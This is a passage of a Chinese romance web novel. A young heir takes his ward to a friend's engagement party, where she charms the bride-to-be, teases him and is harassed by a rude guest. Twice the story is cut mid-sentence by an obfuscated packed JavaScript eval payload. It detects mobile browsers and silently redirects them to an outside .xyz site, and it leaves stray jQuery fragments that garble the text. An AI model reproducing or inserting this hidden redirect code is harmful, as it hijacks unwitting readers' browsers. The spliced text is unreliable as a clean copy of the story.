“阿心。”裴清昀突然叫了她一声。
“干嘛?”池镜心恶声恶气地问。
“这家茶餐厅的酥皮蛋挞还挺好吃的,以后你每次来这里做兼职,都顺便帮我打包一份带回来,好不好?”
池镜心停下拖地的动作,抬头看向裴清昀,正好裴清昀也似笑非笑地看着她。
池镜心:“……”
这家伙到底要试探她试探到什么时候啊,没完没了了。
“不带!”她没好气地一口回绝。
“我给你跑腿费。你每帮我带一次蛋挞,我就给你转一千块钱。”
“说了不带就不带!”
裴清昀依然只是笑:“这么视金钱如粪土啊。”
池镜心想了想,编了个合理的借口:“过几天我就不在这家店做兼职了,我已经找到别的工作了。你实在想吃这里的蛋挞,就让家里的工人帮你买呗。”
裴清昀点点头,又饶有兴趣地问:“那你下一份工作是做什么的?工作地点在哪里?”
池镜心的耐心终于耗尽:“问什么问!吃你的下午茶吧!姐的事你少打听!”
裴清昀终于安静了一会儿。等池镜心把地都拖了一遍,正要回后厨,他又把人叫住了。
“阿心,你几点下班?我打算跟你一起回去。”
池镜心深吸一口气,生生压下了把这家伙打一顿撵出去的冲动。
向叔实在有些胆小,只想立刻送走裴清昀,便主动跟池镜心说:“阿心啊,今天客人少,你把拖把放回后厨就下班吧。”
“好的,谢谢向叔。”
池镜心本来还想着等裴清昀离开茶餐厅,她回去继续寻找那只宠物猫。现在她只能跟着裴清昀回渣甸山了。钟言真要是知道她旷工了,肯定会骂死她。
她带着无比烦躁的情绪,跟着裴清昀一起上了车。刚系好安全带,她突然趁裴清昀不备,伸出爪子在他那张绝世帅脸上狠狠掐了一把。
裴清昀直接被她这一举动给弄懵了:“你干嘛?耍流氓啊?”
池镜心笑容阴森,好像在讲鬼故事一般:“刚刚我拖了地,还没有洗手哦。”
裴清昀:“!!!”
身为一名轻微的洁癖患者,在听到这句话的一瞬间,他瞳孔都放大了。
他脑海中浮现出那根脏兮兮的拖把,不知道被多少人握过的拖把,沾着无数的细菌……那些细菌传递到池镜心的手上,又传递到他的脸上……
他的理智瞬间就灰飞烟灭了。
杀人不过头点地,池镜心的所作所为,比杀了他还令他难受一万倍。
他用平生最大的音量冲她咆哮:“滚!你给我滚!”
“好嘞!”
池镜心兴高采烈地解开安全带,打开车门,迫不及待地要滚。
裴清昀又把她叫住了:“给我滚回来!坐副驾驶去!”
池镜心:“……”
还以为可以趁机溜走了呢,算盘又落空了。
她不情不愿地坐到了副驾驶位上。回家途中,两人一路无话。
半路上,池镜心实在受不了车里上坟一般的气氛,小声说了一句:“骗你的啦,我洗了手的。”
裴清昀没搭理她。
过了半晌,池镜心听到后座传来一个没有丝毫温度的声音:“洗了几遍?”
她没忍住笑出了声:“还能洗几遍?我又没有洁癖。”
“……脏死了。”
回到家,裴清昀拎着池镜心的后衣领,将她提溜到一楼卫生间,亲自监督她洗手。
“再按一泵洗手液……没学过七步洗手法吗?先洗背侧指缝,再洗掌侧指缝……手腕和手臂也要洗……”
池镜心一边洗手一边翻白眼:“你不去当幼儿园老师真是可惜了。”
裴清昀毫不留情地怼她:“你的智力也就幼儿园水平,我教育你一个就够了。”
洗完手,裴清昀让池镜心去餐厅温书,他自己则回主卧洗澡去了。不管池镜心是否真的把拖把上的脏东西弄到了他脸上,反正他不洗个澡就过不去心里这关。
到了晚上,两人吃过晚饭,池镜心坐在餐桌旁伸了个懒腰,以为今天裴清昀又要整晚都在餐厅监督她温书。
没想到裴清昀却说:“待会儿我要出门。今晚由温迪监督你温书。”
池镜心有些意外。自从她住到裴清昀家以来,根据她的观察,他根本没有什么夜生活,每天晚上不是监督她温书就是办公,怎么今晚他突然要出门了?
“你要去哪?”池镜心问。
“我朋友后天办订婚宴,今晚要提前办一个派对庆祝一下。本来我不想去的,但是人家邀请我做伴郎,说今晚要顺便商量一下婚礼相关事宜,我只好过去一趟。你老老实实温书,我很快就回来了。”
朋友……订婚……池镜心突然想到什么,目光微动。
“你朋友是最近要结婚了的那个骆品谦吗?”
“嗯。”裴清昀有些意外地看了她一眼,“你居然还记得人家的名字。你平时温书有看八卦一半认真就好了。”
池镜心内心狂喜。这几天正愁不知该如何接近何咏晴呢,今天机会不就送上门来了么。
她当即喊了一声:“我也要去!”
“你去做什么?”
“我无聊啊,就想过去玩玩。”
“去了更无聊,那些人你都不认识。”
池镜心哪里肯轻易放过这个绝佳的机会,直接绕过餐桌,走到裴清昀身旁,蹲下去抱住他的腿,仰着脸可怜兮兮地看着他:“哥哥,只要你愿意带我过去玩,你想怎样都行。”
裴清昀看不惯她这副没皮没脸的样子,本来想发火的,但训斥的话到了嘴边,他又改主意了。
他笑得有几分玩味:“真的怎样都行?”
“真的。”
“那你明天背一百个单词,外加做一套数学题。单词要听写,全部写出来你明晚才能去睡觉。”
池镜心:“……”
奸商!趁火打劫的奸商!难怪你们裴家这么有钱,都靠趁火打劫发的家吧!
她气得直磨后槽牙,但又拿他没办法,只能把心一横,答应了这丧权辱国的条件:“行!”
派对地址是骆品谦家一处空置的别墅。派对规模不大,骆品谦和何咏晴仅仅邀请了一些同龄的朋友过来参加。
这会儿派对刚开始,骆品谦和何咏晴正忙着跟陆陆续续到来的客人寒暄。
当裴清昀带着池镜心出现在这对小情侣面前时,小情侣俱是一愣。
虽然之前池镜心在酒吧里和这对小情侣有过一面之缘,但今晚这对小情侣都没认出她来。
毕竟当时酒吧灯光昏暗,池镜心那晚又化了妆,穿着啤酒妹的制服裙。今晚她完全素颜,穿着宽松卫衣和休闲长裤,跟那晚的啤酒妹打扮相去甚远,认不出来再正常不过。
这对小情侣之所以发愣,只是因为没想到裴清昀会带个女孩子过来。
骆品谦认识裴清昀多年,知道他一向自称是独身主义者,也确实从来不跟女生有超过朋友界限的接触。怎么今晚他突然有了女伴了?他开窍了?
“这位是?”骆品谦看向池镜心,试探着问。
裴清昀:“这是我妹妹,池镜心。她家人都移民去加拿大了,她留在港岛备考DSE,这段时间由我负责照顾她。”
小情侣顿时了然。虽然从没听说过裴清昀有这么一个妹妹,但是谁家没几个一表三千里的远亲呢?这位妹妹仔一副学生打扮,还在备考DSE,肯定年龄不大。小孩子嘛,都喜欢去哥哥姐姐的派对凑热闹,可以理解。
池镜心有意接近何咏晴,此时立刻展开笑颜,热情地对小情侣自我介绍:“叫我阿心就好。我最近在家温书好辛苦,就想出来透透气,希望不会打扰到你们。”
“不会不会,”何咏晴笑呵呵地摆了摆手,“妹妹愿意过来玩,我们高兴还来不及呢。”
池镜心十分自来熟地拉起何咏晴的手,无比情真意切地看着对方:“为了让阿昀带我参加今晚的派对,我可是答应了他要背一百个单词,外加做一套数学题。
本来我还觉得这代价有点太大了,没想到今晚一来就见到了这么美丽知性优雅大方的小姐姐。就算阿昀让我背一千个单词,做一百套题,我也觉得值了。”
池镜心这番恭维虽然极尽浮夸,但非常管用。
何咏晴都快被她哄成胚胎了,嘴角怎么都压不下去:“哈哈哈哈妹妹你嘴好甜好会讲话!阿昀也真是的,这么有趣的妹妹你不早点带出来跟我们一起玩。”
裴清昀:“……”
他瞥了池镜心一眼,脸色好似冰霜。
这孽障天天吃他的,住他的,玩他的狗,收他的礼物,他还要耗费无数时间精力,冒着被她气死的风险监督她温书。她几时给过他好脸?
不仅没有好脸色,她还要搞出层出不穷的恶作剧耍他玩,简直是史诗级白眼狼。
她要是对谁都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036725|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样也就罢了。这会儿见到个陌生人,她居然一改常态,舔得不行,尾巴都快摇成螺旋桨了,实在是叫人不爽。
大家在泳池边的户外沙发上坐下,小情侣和裴清昀聊了一会儿婚礼相关的事宜。
池镜心乖乖坐在一旁听他们讲话,注意力全放在了何咏晴身上。通过刚才的接触,她感觉何咏晴性格蛮好的,接近她应该不是什么难事。
不远处,一些来参加派对的女孩子都在暗暗打量池镜心。她们垂涎裴清昀这个港岛第一超级笋盘已久,都想把他拿下。今晚见他带了个所谓的妹妹过来,大家心里都有些犯嘀咕。
到底是真妹妹还是假妹妹?这小女孩看着年龄太小了,脸颊甚至还有婴儿肥。别不是他找了个年纪特别小的小情人,不好意思承认,才谎称是妹妹吧?
几个女孩子抱着相同的疑虑,款款走到池镜心身边,打算试探一下虚实。
池镜心只觉得一阵香风扑鼻,几位穿着漂亮裙子的小姐姐走了过来,像蜘蛛精围住唐僧一般将她围了起来。
“妹妹看起来好小啊,成年了没有啊?”一位紫裙子小姐姐笑着揽住池镜心的肩,温温柔柔地问。
池镜心颇觉受宠若惊,这帮千金小姐对她这个死穷鬼还挺热情。
“我成年了。”池镜心乖乖答道。
紫裙子小姐姐闻言,向旁边的亮片裙小姐姐递了个眼神。
亮片裙小姐姐立刻含笑递给池镜心一杯长岛冰茶:“既然成年了,那就喝点酒好不好?不然干坐着多无聊。”
长岛冰茶出了名的度数高,后劲强。这些女孩子本来是打算把池镜心灌个半醉,再让她酒后吐真言。没想到池镜心刚接过那杯长岛冰茶,坐在她斜对面的裴清昀就发话了。
裴清昀其实一直留意着池镜心的一举一动,生怕她在派对上出点什么事。看到她一脸懵懂地接过长岛冰茶,他立刻出声提醒:“别喝这么烈的酒。你明天还要温书,把脑子喝坏了怎么办?”
“喝不坏的,我酒量可好了。”池镜心一脸无所谓地饮了一口长岛冰茶。
她一只手端着长岛冰茶,另一只手还拿着一支尚未点燃的烟,身边还围了一群漂亮小姐姐,十足的夜店玩咖作派。
本来刚刚她正要点烟的,这帮小姐姐突然围了过来,她就有些不好意思抽烟了,怕熏着她们。因此这支烟就这么一直夹在指间。
裴清昀直接起身走到她面前,拿走她指间的香烟,扔进了长岛冰茶里,又十分强势地从她的衣兜里掏出烟盒,将烟盒里剩下所有的烟全都扔进了长岛冰茶里,然后一言不发地坐了回去。
这下好了,烟也没得抽了,酒也没得喝了。
池镜心:“……”
这人有病吧?!她和小姐姐们玩得正好呢!用得着他跑出来扫兴吗?是不是嫉妒她人缘比他好啊?
一时间场面陷入了令人尴尬的沉默之中。
紫裙子小姐姐很快回过神来,笑着打圆场:“阿昀真的很关心很照顾妹妹哈。”
亮片裙小姐姐跟着附和:“是啊是啊,我要有个这么好的哥哥就好了。”
池镜心无视了小姐姐们企图缓和气氛的努力,此时她心情极差,只想将氛围破坏到底。
她面无表情地吐槽:“他对我一点也不好。”
紫裙子小姐姐:“怎么会呢?烟酒伤身,你年纪又小,是该少沾这些东西。”
池镜心用最平静的口吻,说出最炸裂的话:“他让我下跪。”
短短一句话,好似一颗核弹轰了下来,整个世界都安静了。所有人脸上都是一片震惊,茫然,甚至恐慌。
在座众人心里都在疯狂发出土拨鼠尖叫:这是我能听的吗?!不会被裴清昀灭口吧?!神啊请让我原地消失吧!
裴清昀脸色阴沉,死死盯着池镜心的脸:“那是在她母亲的坟墓前,我是让她给她母亲下跪!”
众人闻言,都大大地松了一口气,不约而同地想:就是说嘛,裴清昀怎么可能是那种人……
然而这口气还没松到底,池镜心恶劣一笑,又来了一句:“他还让我睡狗屋。”
所有人瞬间倒吸一口凉气。
裴清昀已经有些暴躁了,冲她吼:“还不是因为给你准备了卧室你不想住,我才让你去跟阿智一起住的!”
所有人再度松了一口气。
池镜心:“你还打我。”
所有人又把那口气提起来了。
裴清昀:“你怎么不说说我是用什么打的?!”
池镜心:“用抱枕打的就不算打了吗?”
至此,大家都听出来了,池镜心就是故意使坏,逗裴清昀玩,也逗他们这些听众玩。
那帮本来打算打探虚实的女孩子纷纷起身离开,再也不敢跟池镜心多说一句话了。这个妹妹仔虽然长了一张人畜无害的天使面孔,但几句话就能将人玩死,简直太可怕了……
池镜心寥寥几句话就将所有人都玩得一愣一愣又一愣,恶趣味得到了极大的满足。她得意洋洋地看着裴清昀,眼里全是挑衅。
裴清昀冷声发出警告:“你就作吧,哪天我真实践一下你刚刚说的那些,看你还笑不笑得出来。”
池镜心兴奋地吹了一声口哨:“这么变态啊?那我还挺期待的。”
15. 调酒
如果是在家里,以池镜心今晚的嚣张程度,裴清昀高低得拿抱枕再揍她一顿。但此时是在别人的派对上,他只能生生咽下了这口气,偏过头不再搭理她。
骆品谦和何咏晴对视了一眼,都从对方的眼神中读到了相同的疑问。裴清昀对待池镜心的态度,完全就是一个严厉的哥哥管教顽劣妹妹的态度;但池镜心的言语态度,却好像有点撩他的意思……
这两人到底什么关系啊?小情侣同时陷入了困惑之中。
没过一会儿,其他几位受邀当伴郎伴娘的年轻人也陆续到了,他们和裴清昀、骆品谦、何咏晴凑在一起,商量关于婚礼的事。池镜心在一旁听了一会儿,什么话都插不上。
她想摸一根烟来抽,手伸进兜里才想起来她的烟全被裴清昀扔酒里了。她感到无聊透顶,索性起身四处逛了逛。
庭院里搭着一个露天吧台,有专业的调酒师在给大家调酒。池镜心凑了过去,要了一杯威士忌酸,一边喝一边看调酒师调酒。
调酒师各种眼花缭乱的调酒操作看得她兴致大涨,她也拿了一个调酒壶,装模作样地开始调酒。
池镜心对调酒一窍不通,看到什么颜色绚丽好看的饮料都往摇酒器里倒。然后她握住摇酒器一通乱摇,倒出一杯颜色十分浑浊诡异的自创鸡尾酒。
她捧着这杯鸡尾酒,喜滋滋地走到裴清昀身旁坐下。
恰好这会儿小情侣和他们的伴郎伴娘团们将正事都谈得差不多了,一圈人坐在一起闲聊。
见池镜心紧挨着裴清昀坐下,在座众人都有些诧异。他们都认识裴清昀挺久了,知道他有轻微洁癖,不太喜欢跟人近距离接触,因此大家都自觉跟他保持一定的身体距离。
但这个女孩子显然不懂裴清昀的忌讳,大剌剌地就挨着人家坐下了。裴清昀只是略有些嫌弃地看了她一眼,居然也没说什么。
骆品谦笑了笑:“阿心这么喜欢黏着哥哥啊?”
池镜心嘿嘿一笑:“又没人陪我玩,我只好黏着他咯。”
她转头看向裴清昀,献宝一般举起手中的鸡尾酒,眼睛亮得像星星一样:“这是我人生中第一杯自己亲手调制的鸡尾酒。我们给它取个名字吧。”
裴清昀看着这杯颜色诡异好似有剧毒的酒,沉默了片刻:“有什么必要取名字?反正你也调不出第二杯一模一样的酒了。”
池镜心装模作样地思考了片刻:“啊,有了!给它取名叫ForAtticus,怎么样?”
裴清昀:“……”
Atticus是他的英文名。他突然有了一种不祥的预感。
果然,接下来池镜心便声情并茂地对他说:“我人生中第一杯亲手调制的鸡尾酒,献给我最亲爱的哥哥。哥,你赶紧尝尝吧。”
她一脸期待地将酒杯往前递了递。
裴清昀没接,只面无表情地看着她:“你自己敢喝吗?”
“敢啊。”
“那你喝一口给我看看。”
“不行,我明天还要温书,把脑子喝坏了怎么办?”
裴清昀:“……”
她居然拿他之前说的话来堵他……这世上怎么会有这么欠揍的人……
“你就不怕把我脑子喝坏?”裴清昀问,“我一向对你还不错吧?你就非要整死我?你良心都被狗吃了?”
“阿智不吃那玩意儿。”池镜心依然笑嘻嘻的,完全不怕他翻脸。
裴清昀的耐心已经被她消耗得差不多了:“我数三秒,立刻从我眼前消失。三,二,一……”
“一”字还没落地,池镜心眼珠子一转,忽然凑到裴清昀耳边,神秘兮兮地说:“只要你把这杯酒喝了,我可以支付你报酬。”
裴清昀的怒气快压不住了,语气森寒:“你当我是陪酒的鸭子呢?”
“哈哈哈哈对啊,你品相这么好,当鸭子也是鸭中之王。只要你肯喝姐姐的酒,姐姐倾家荡产都愿意。”
裴清昀冷冷看着她这副没皮没脸的混账德性,沉默片刻,忽然轻轻一哂:“倾家荡产都愿意是吧?那从后天起,你连续一个月,每天至少背150个单词,完成一小时限时模考。能付得起这个价格的话,我就喝你的酒。”
池镜心笑容一僵,在心里狂骂他奸商。但话都赶到这了,她不想认怂,只能硬着头皮答应下来:“行啊,就这么定了!”
裴清昀没再跟她废话,拿起那杯被池镜心命名为“ForAtticus”的奇葩鸡尾酒,仰头一饮而尽。
周围坐着的一圈人都看傻了。从池镜心向裴清昀献上那杯诡异的鸡尾酒开始,他们都觉得这妹妹仔也太不像话了,今晚高低得挨一顿骂。没想到这兄妹俩说了几句话后,裴清昀还真把那杯酒给喝了。
所有人心里都在感叹:难怪这妹妹仔这么顽劣,都是他惯出来的。
池镜心也看傻了。她盯着裴清昀仰头喝酒时露出的上下滚动的喉结,无比清晰的下颚线,脑子里只有一个念头:好性感,好想摸……
但是大庭广众之下,借她一百个胆子她也不敢上手去摸。真摸了今晚就别想睡了,裴清昀肯定会进入狂暴模式骂她一个通宵。
她只能在心里默默哀叹:哥哥太骚了怎么办?每天都变着法勾引她。她一个端庄正直的大好青年,都快被他勾引成老色胚了……
池镜心调出来的酒颜色味道都太古怪,裴清昀根本不敢细品,只求能在味蕾还没反应过来之前就全部喝掉。他喝得太快了,最后一口不小心呛了一下。
他强忍着将酒液咽下,低头咳嗽了起来,咳到眼周都有些微泛红。
他肤色如冰雪透白,衬得眼周泛起的那一层淡淡的薄红非常明显。与此同时,他还被呛出了一点生理性眼泪,泪水积在淡漠的琥珀色眼底,像一汪清浅的月光。
浅浅薄红,点点泪光,组合在一起,有种动人心魄的破碎感。这副模样落在池镜心眼里,完全就是个勾人堕落的狐狸精。
她瞬间就脑补出了一连串剧情:美貌惊人的混血男孩,被生父抛弃,和母亲妹妹陷入贫困的境地里。为了生病的妈,上学的妹,他不得不沦落风尘,整夜整夜地陪富婆姐姐喝酒,喝到吐血,呛到流泪,却依然只能小心翼翼地望着富婆姐姐,竭尽全力讨好对方……
在这番诡异的幻想里,池镜心自己就是那个被讨好的富婆姐姐。
她被自己幻想出来的场景给感动到了,无比怜爱地抬手揉了揉裴清昀的头发,嘴里说着莫名其妙的话:“狗狗好可怜,这么小就出来陪酒。以后就跟着姐姐吧,姐姐疼你……”
“滚一边去!”裴清昀火冒三丈地拍开了她的手。
池镜心没有生气,把裴清昀当鸭子玩给她带来了极大的愉悦感,她笑嘻嘻地起身,真滚一边去了。
她又来到露天吧台,开始调制她人生中的第二杯自创鸡尾酒。中途调酒师去了一趟卫生间,整个吧台就只剩下她一个人了。
她模仿能力极强,刚刚一直旁观专业调酒师工作,这会儿已经把人家调酒的动作学了个□□成了。她动作娴熟地操作着那些调酒工具,乍一看还真像那么回事。
虽然刚才裴清昀很不客气地叫池镜心滚,但她真走开了,他又时不时往她所在的方向看一眼。
何咏晴跟他开玩笑:“这么放心不下妹妹啊?刚才人家过来黏你,你又嫌弃得不行。”
裴清昀语气平淡:“没有放心不下她。她是个闯祸精,我只是怕她在你的派对上搞破坏。”
何咏晴笑而不语,在座众人也都笑了笑。大家都心知肚明,裴清昀要真嫌弃他那个妹妹是闯祸精,又怎么肯带她过来玩,甚至还喝她调的那杯乱七八糟的酒。
明明关心她得不行,把人都惯坏了,面上还得装出一副嫌弃的样子,这对兄妹的相处模式真是有意思。
过了片刻,一个叫周伯凯的富家子弟远远看见池镜心调酒,走了过去。
周伯凯来得晚,并不知道池镜心是裴清昀带过来的。他见这女孩子独自一人在吧台调酒,想当然地以为她应该只是骆品谦请来的调酒师。
他走到池镜心对面,伸手扣了扣吧台,来了一句:“DryMartini。”
池镜心愣了一下,立刻反应过来对方是把她当成调酒师了。她对调酒一窍不通,哪里会调什么DryMartini。
池镜心直接实话实说:“我不会调这个。”
周伯凯也愣了:“还有连DryMartini都不会调的调酒师?那来一杯Negroni。”
池镜心只能遗憾地告知对方:“这个我也不会。”
周伯凯脸色一变:“耍我玩呢?你叫什么名字?”
耍他玩?池镜心有些想笑。只有裴清昀那种级别的才配被她耍着玩,眼前这个纨绔子弟,送给她玩她都不要。
虽然对方明显语气不善,但池镜心不想在派对上惹事,她耐着性子跟对方解释:“我叫池镜心,我不是调酒师,我就是过来玩的。调酒师暂时离开了,你可以在这等他一会儿。”
周伯凯这种纨绔子弟从小被人捧惯了,脾气都是相当大的。就算池镜心好声好气地解释了,他还是想发火。但在发火之前,他先在脑海中检索了一下池镜心这个名字。
港岛地方不大,这些名门世家互相都是有来往的。周伯凯确定港岛没有哪个豪门姓池,更没有一个叫池镜心的名媛千金。眼前这个女孩穿得普普通通,身上也没有一件像样的饰品,肯定是混进来钓凯子的死穷鬼。
确定了这个女孩他惹得起后,周伯凯肆无忌惮地发起火来:“不是调酒师那你站吧台这做什么?搔首弄姿地等着凯子撞上来约你?穿得跟个乞丐一样,还戴一串廉价破珠子,谁眼瞎了能看上你?给老子滚一边去,别来碍眼!”
池镜心今天确实穿得挺随意,手腕上也没戴裴清昀送她的那块表,戴的是秦铠澄送她的一条黑曜石手串,说是开过光的,能辟邪。
骂她就算了,居然还骂澄澄送她的黑曜石是廉价破珠子……池镜心就算再不想惹事,语气也好不起来了。
“我站这关你什么事?人家派对主人都没说什么,你在这狗叫什么?”
“你说什么!知不知道我是谁?!”周伯凯随手抄起吧台上的一杯酒,朝池镜心泼去。
池镜心学过多年格斗术,反应速度比常人快很多。她瞬间侧身一避,一滴酒都没沾到身上。
此时她只觉得烦躁得不行。眼前这个纨绔子弟脾气太差了,不收拾他一顿是不可能消停的。但是这是何咏晴订婚前的庆祝派对,她要是在这个场合惹事,何咏晴会记恨上她吧?那她还怎么接近何咏晴?
就在她犹豫不决的这片刻时间里,周伯凯又拿起一个调酒杯试图砸向她。只是他手刚抬起来,就被人死死攥住了。
攥住他手腕的,是一只苍白的大手,手指修长,骨节分明,因太过用力,手背上的青筋与骨骼骇然凸起,彰显可怖的力量感。
裴清昀手上的力度几欲将周伯凯的手腕捏碎,但他的声音却十分平静:“你想对我妹妹做什么?”
周伯凯疼得手指痉挛,手中的调酒杯啪的一声砸到了地上。
他震惊回头,对上裴清昀那双淡漠的琥珀色眼睛,吓得连疼都忘了喊了。
骆品谦、何咏晴和其他一干名媛公子哥都围了过来,大家不清楚发生了什么事,也不敢说话。
骆品谦身为派对主办人,不了解清楚情况不行。他硬着头皮问:“发生什么事了?”
池镜心先开口:“我在吧台这玩,这人以为我是调酒师,让我给他调酒。我跟他解释了我不是调酒师,他觉得我在耍他,就骂我,还泼我酒,还试图用调酒杯砸我。”
骆品谦听完来龙去脉,想死的心都有了。
包括他在内,今晚这个派对上所有的年轻人,其实跟裴清昀都不是一个层级的人物。
他们确实都出身名门,但离裴家这种级别还有一定距离。更何况他们都才二十多岁,还处于找家里要钱要资源的阶段,将来也不知道能不能接班,能分到多少家产。他们中的大多数人,一辈子也就靠信托混混日子,当个富贵闲人而已。
而裴清昀已经顺利接班,在家族中、公司里的地位都稳固到不可动摇。就算这帮少爷小姐的父母甚至祖父母见到他,都得客客气气的。
按理说他甚至没必要浪费自己宝贵的时间,来给骆品谦这么一个二流豪门的小少爷当伴郎。只是他重情义,看在多年同学的份上愿意赏这个脸。
骆品谦也知道,自己应该珍惜人家的一番好意,感谢人家愿意来他的婚礼帮他撑场面。
可他还没来得及表达感谢,裴清昀的妹妹就差点在他的派对上出事……骆品谦满心绝望,恨不得寻根绳子吊死自己算了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036726|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
此时比骆品谦更绝望的,就只有周伯凯了。他是周家三房太太生的,就是个豪门边缘人物,因为没有任何接班的可能,被家族放养,才养成了这般嚣张跋扈的性格。谁知今日就因太过嚣张跋扈闯了大祸。
他结结巴巴语无伦次地道歉:“对……对不起,我不知道她是你妹妹……我的错我的错,都是我的错,我喝多了……”
裴清昀松开手,淡淡开口:“跟我道歉做什么?”
周伯凯回过神来,转头对着池镜心不住地鞠躬道歉:“对不起对不起,是我有眼无珠……”
池镜心静静地看着对方。既然有人为她出头,她便安心当一个无辜的讲理的完美受害人。
她言辞克制,语气平静中又带着一丝恰到好处的委屈:“就算我不是他妹妹,你也不应该这么对我啊。我都说清楚了我不是调酒师,你何必还恶语相向呢?还泼我酒,用杯子砸我……无权无势的普通人难道就活该被这样欺凌吗?”
她表现得太讲道理,三观太正,连裴清昀都有些意外地看了她一眼,心想她今天吃错药了?又不是家里那个无法无天作威作福的小霸王了?
何咏晴出身普通中产之家,在这些大小姐公子哥面前也只是一个普通人而已。她非常能共情池镜心的这番话,立刻站出来帮腔:
“阿心妹妹说得对啊,就算是普通人也应该得到同等的尊重,怎么可以一言不合就连打带骂,这跟欺男霸女的地痞流氓有什么区别?”
“是是是,都是我的问题……”周伯凯继续道歉认错,腰弯得都快把头杵进地里了。
裴清昀嫌他碍眼,扔下一句:“既然你说你喝多了,就出去醒醒酒吧。”
周伯凯如蒙大赦,立刻跑没了影。
这个突发事件就这么了结了,派对上众人都松了一口气。
裴清昀却板起了脸,开始教训池镜心:“你怎么回事?平时在家欺负我不是很厉害么?怎么今晚跟个傻子一样干站着?
那个渣滓都跟你动手了,你都不知道正当防卫么?白学那么多年格斗了?宁见法官不见法医懂不懂?你就算把他打伤了打残了,我给你请律师,我给你赔医药费,你怕他做什么?”
众人听到裴清昀这番话,都大为震撼。大家都知道裴清昀有一个表弟,一个表妹,是他舅父的儿女。平时不见他对表弟表妹有多爱护,大家都以为他是不怎么护短的人。但现在听他教训池镜心的这番话,大家才惊觉,他护短护得都没边了。
池镜心低着头,左脚尖踩住右脚尖,又用右脚尖踩住左脚尖,手指头也绞来绞去的,把一个委屈巴巴可怜无助的小女孩形象给演绎得无比自然生动,都可以去角逐奥斯卡了。
她一开口,声音也浸染着满满的委屈:“我不是怕他,我是怕破坏咏晴姐姐的派对。人家马上就要结婚了,就应该开开心心顺顺利利地举办婚礼啊,怎么可以因为我坏了心情……”
裴清昀:“……”
此刻他不禁开始怀疑,她是不是被什么脏东西夺舍了?这么通情达理为人着想的一番人话,是她能说出来的?
何咏晴听到池镜心这么说,心头一热,感动得眼泪都要下来了。
她一把将池镜心拉进怀里,轻轻拍着她的背,无比温柔地哄着:“阿心怎么会这么想呢?你要是在我的派对上受了伤,我才是真的要心疼死愧疚死。
以后遇到任何事都要勇敢保护自己,知不知道?别去想那些有的没的,没有什么比你的人身安全更重要。”
池镜心乖乖巧巧地往何咏晴怀里一靠,语气暗含一丝不太明显的茶里茶气:“姐姐你人真好,讲话也好听,不像我哥,只会板着脸教训我。”
裴清昀:“……”
刚刚是谁一直在留意她的一举一动?是谁一看到她跟人发生冲突就立刻赶来查看情况?是谁眼疾手快抓住那渣滓的手,让她免于受伤?
合着自己做了这么多,都比不上小姐姐温声细语地哄几句是吧?你个白眼狼,跟你的小姐姐过日子去吧!去给人家当妹妹去吧!有种别认我这个哥!
池镜心无视裴清昀那阴沉的脸色,一味地赖在何咏晴怀里撒娇卖乖:“姐姐,你们刚刚一直在商量正事,我都找不到人陪我玩。你们什么时候商量完啊?我不想再一个人玩调酒了,我怕又有人找我麻烦。”
何咏晴算是被她给拿捏住了,几乎是百依百顺:“都是姐姐不好,姐姐光顾着忙自己的事去了,没安顿好阿心妹妹。接下来姐姐都陪你玩好不好?你想玩什么都行。”
池镜心默默在心里比了个耶。感谢那个纨绔子弟,要不是他跳出来找茬,她还不能这么顺理成章地和何咏晴玩到一起呢。
接下来一整晚时间,何咏晴都拉着自己的男朋友一起陪池镜心玩。他们先玩21点,又玩德扑、beerpong、flipcup……
何咏晴有意弥补池镜心,不管玩什么游戏都尽量让着她,哄着她。一晚上玩下来,池镜心体验感极好,玩到都不想回家了。
裴清昀其实早就想回家了。但池镜心玩嗨了不肯回去,他只能在一旁守着。快到十二点的时候,他终于忍无可忍,提着池镜心的后衣领,将她扔到了车上。
回家路上,池镜心还是很兴奋:“我和咏晴姐姐约好了,下周末一起逛街,吃饭。她还说要带我去她最喜欢的店做美甲,哎呀咏晴姐姐人真是太好了……”
池镜心兴奋的真正原因是和何咏晴搭上了关系,有望完成骆家的委托。但裴清昀只觉得她一直咏晴姐姐长,咏晴姐姐短的,非常烦人。
“闭嘴,你吵得我头疼。”裴清昀坐在迈巴赫后座,单手支额,脸色不怎么好看。
池镜心见他脸色不好,小心翼翼地问:“你怎么了?身体不舒服吗?”
“嗯。”裴清昀信口胡诌,“你调的那杯酒有毒,我喝完一直难受到现在。”
池镜心吓得魂飞魄散:“有毒?!你要被毒死了?!不要啊哥哥你不要死!”
她哭喊着朝裴清昀扑去,一只手抓着他的胳膊用力摇晃,另一只手暗戳戳去摸他的腹肌。
裴清昀瞬间就炸了,一把擒住她那只咸猪手:“有病啊?!信不信我把你爪子剁了!滚回去坐好!”
池镜心坐了回去,笑得不行,笑够了她才调侃道:“你看,我这不就帮你解毒了嘛,你精神一下子就好起来了。”
16. 财神
回到家已是深夜。池镜心在派对上喝了不少酒,脑袋有点晕,强撑着洗漱完,倒头就睡。
第二天一早,她按时醒来,没有什么宿醉的不适感。她酒量确实还不错,喝多了只会有点头晕,睡一觉就满血复活了。
她和裴清昀同一时间来到餐厅。刚吃完早饭,裴清昀手指轻敲餐桌,开始催促她温书。
“别磨蹭了,赶紧背单词,你今天可是要背一百个单词的。上午先背五十个,背不完不许吃午饭。”
